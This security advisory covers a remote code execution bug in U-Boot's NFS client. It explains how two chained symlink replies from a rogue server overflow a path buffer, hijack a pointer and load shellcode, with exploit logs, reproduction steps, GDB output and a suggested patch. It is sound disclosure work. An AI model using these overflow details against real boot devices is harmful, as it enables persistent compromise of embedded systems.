# Security Advisory: U-Boot NFS Symlink Chain Remote Code Execution

## Summary

A buffer overflow vulnerability in U-Boot's NFS client allows a rogue NFS
server to achieve remote code execution on the target device during network
boot. No authentication is required. The attacker serves crafted NFS
symlink responses that overflow the global `nfs_path_buff[2048]` buffer,
corrupting adjacent pointers and hijacking the NFS state machine to deliver
and execute arbitrary shellcode.

## Affected Software

- **Product:** Das U-Boot
- **Component:** `net/nfs-common.c`, function `nfs_readlink_reply()`
- **Affected versions:** All versions with NFS boot support (at least since NFSv3 support was added; tested on 2026.04-rc5, commit `c704af3c8b0`)
- **Configurations:** Any build with `CONFIG_CMD_NFS=y` (NFS boot enabled)

## CVSS Score

**8.1 (High)** — CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

- **Attack Vector:** Network (rogue NFS server)
- **Attack Complexity:** High (target must be performing NFS boot)
- **Privileges Required:** None
- **User Interaction:** None (beyond initiating NFS boot, which is typically automatic)
- **Impact:** Complete compromise of bootloader execution context

## Vulnerability Details

### Root Cause

In `net/nfs-common.c`, the function `nfs_readlink_reply()` processes NFS
READLINK responses (symlink target resolution). At line 667, it reads the
symlink target length (`rlen`) from the RPC reply:

```c
rlen = ntohl(rpc_pkt.u.reply.data[1 + nfsv3_data_offset]);
```

The bounds check at line 669 validates that `rlen` fits within the **RPC
packet buffer** (1152 bytes):

```c
if (((uchar *)&rpc_pkt.u.reply.data[0] - (uchar *)&rpc_pkt + rlen) > len)
    return -NFS_RPC_DROP;
```

However, it does **not** validate that `rlen` fits within the **destination
buffer** `nfs_path_buff[2048]`. When processing a relative symlink (line
672-680), the target is appended to the existing path:

```c
strcat(nfs_path, "/");
pathlen = strlen(nfs_path);
memcpy(nfs_path + pathlen,
       (uchar *)&rpc_pkt.u.reply.data[2 + nfsv3_data_offset],
       rlen);
nfs_path[pathlen + rlen] = 0;
```

### Exploitation via Symlink Chaining

A single READLINK response cannot overflow the buffer because `rlen` is
capped at ~1128 bytes (by the packet size check) and `nfs_path` starts
short (~10 bytes). However, by chaining **two** symlink resolutions:

1. **First READLINK:** Server returns a ~1100-byte relative symlink target
   with directory separators (`a/b/c/.../x`). After `nfs_dirname()`,
   `nfs_path` retains ~1060 bytes.

2. **Second READLINK:** Server returns a ~1128-byte relative symlink
   target. The `memcpy` writes to offset `1061 + 1128 = 2189`, exceeding
   `nfs_path_buff[2048]` by approximately **141 bytes**.

### What Gets Overwritten

The overflow corrupts global variables adjacent to `nfs_path_buff` in BSS
(verified via `nm` on QEMU ARM build):

| Offset from buffer end | Variable | Type | Impact |
|------------------------|----------|------|--------|
| +0 | `nfs_path` | `char *` | Pointer to current NFS path — controls future memory writes |
| +4 | `nfs_filename` | `char *` | Pointer to filename component |
| +8 | `nfs_download_state` | `enum` | Controls boot success/failure |
| +12 | `filefh3_length` | `uint` | NFS file handle length |
| +16 | `filefh` | `char[64]` | NFS file handle — controls which file is read |

### Code Execution Chain

By overwriting `nfs_path` to point to a short valid path string (e.g.,
`"/x"`) planted within the overflow payload itself, the attacker keeps the
NFS state machine alive. The state machine then:

1. Re-mounts the filesystem (MOUNT `/`)
2. Looks up the file (LOOKUP `x`)
3. Reads file content (READ) — the server serves **arbitrary shellcode**
4. `store_block()` writes the shellcode to `image_load_addr` (e.g., `0x42000000`)

The shellcode is now in memory at a known address. In typical embedded boot
configurations, `bootm` or `go` is called on the load address after NFS
download, executing the attacker's code.

## Proof of Concept

A complete working exploit (`nfs_rce.py`) is provided. It was tested
against U-Boot 2026.04-rc5 running on QEMU ARM (`qemu_arm_defconfig`,
Cortex-A15, 256MB RAM).

### Tested Exploit Chain

```
[1] PORTMAP      → returned fake mountd/nfsd ports
[2] MOUNT        → returned fake file handle
[3] LOOKUP       → returned success with file handle
[4] READ         → returned NFSERR_ISDIR → triggered symlink
[5] READLINK #1  → 1100-byte relative symlink (grew nfs_path to ~1060B)
[6] READLINK #2  → 1128-byte overflow payload
                    Overwrote nfs_path → valid "/x" string
                    State machine survived and continued
[7] MOUNT/LOOKUP → re-entered NFS flow with attacker-controlled path
[8] READ         → served 68-byte ARM shellcode → written to 0x42000000
[9] EXECUTION    → shellcode wrote "PWNED!" to PL011 UART
```

### GDB Verification

```
=== SHELLCODE AT 0x42000000 ===
   0x42000000:  mov   r0, #9
   0x42000004:  lsl   r0, r0, #24      @ r0 = 0x09000000 (UART base)
   0x42000008:  mov   r1, #0x50        @ 'P'
   0x4200000c:  str   r1, [r0]         @ write to UART

=== AFTER EXECUTION ===
   pc = 0x42000040   (completed, hit infinite loop)
   r0 = 0x09000000   (UART base)
   r1 = 0x0a         (newline — last char written)

=== QEMU UART OUTPUT ===
   Loading: *T #PWNED!
   >>> CODE EXECUTION CONFIRMED <<<
```

### Reproduction Steps

```bash
# 1. Build U-Boot for QEMU ARM with NFS enabled
cd u-boot
make CROSS_COMPILE=arm-none-eabi- qemu_arm_defconfig
# Enable CONFIG_CMD_NFS=y in .config
make CROSS_COMPILE=arm-none-eabi- -j$(nproc)

# 2. Start the exploit server
python3 nfs_rce.py

# 3. Start QEMU
qemu-system-arm -machine virt -cpu cortex-a15 -m 256M -nographic \
    -bios u-boot.bin \
    -netdev user,id=net0,net=10.0.2.0/24,dhcpstart=10.0.2.15 \
    -device virtio-net-device,netdev=net0

# 4. In U-Boot console:
setenv ipaddr 10.0.2.15
setenv serverip 10.0.2.2
nfs 0x42000000 10.0.2.2:/boot/uImage

# 5. Observe "PWNED!" in UART output (or verify via GDB at 0x42000000)
```

## Suggested Fix

Add a bounds check against `nfs_path_buff` size before the `memcpy` in
`nfs_readlink_reply()`:

```c
--- a/net/nfs-common.c
+++ b/net/nfs-common.c
@@ -670,6 +670,11 @@ static int nfs_readlink_reply(uchar *pkt, unsigned int len)
 	if (((uchar *)&rpc_pkt.u.reply.data[0] - (uchar *)&rpc_pkt + rlen) > len)
 		return -NFS_RPC_DROP;
 
+	/* Validate symlink target fits in nfs_path_buff */
+	int current_len = strlen(nfs_path) + 1; /* +1 for '/' */
+	if (current_len + rlen >= sizeof(nfs_path_buff))
+		return -NFS_RPC_ERR;
+
 	if (*((char *)&rpc_pkt.u.reply.data[2 + nfsv3_data_offset]) != '/') {
 		int pathlen;
```

Additionally, consider replacing `strcat`/`memcpy` with bounds-checked
alternatives throughout the NFS path handling code.

## Impact Assessment

- **Embedded devices using NFS boot:** Industrial controllers, development
  boards, and network appliances commonly boot via NFS. A rogue DHCP/NFS
  server on the same network segment can serve malicious responses without
  any authentication.

- **Supply chain risk:** An attacker with network access during the boot
  phase (before the OS loads) can install persistent backdoors in the boot
  chain.

- **Scope:** Any U-Boot build with `CONFIG_CMD_NFS=y` is affected. This
  includes many ARM, MIPS, and x86 embedded platforms.

## Timeline

- **2026-04-03:** Vulnerability discovered and PoC developed
- **2026-04-03:** Advisory sent to U-Boot maintainers
- **[TBD]:** CVE assigned
- **[TBD]:** Fix released
- **[TBD + 90 days]:** Public disclosure

## Credit

Discovered by Murtaza Munaim.

## References

- U-Boot source: https://github.com/u-boot/u-boot
- Vulnerable file: `net/nfs-common.c`, lines 642-686
- Related CVEs: CVE-2019-14196, CVE-2019-14198 (prior NFS vulnerabilities in U-Boot, different root cause)
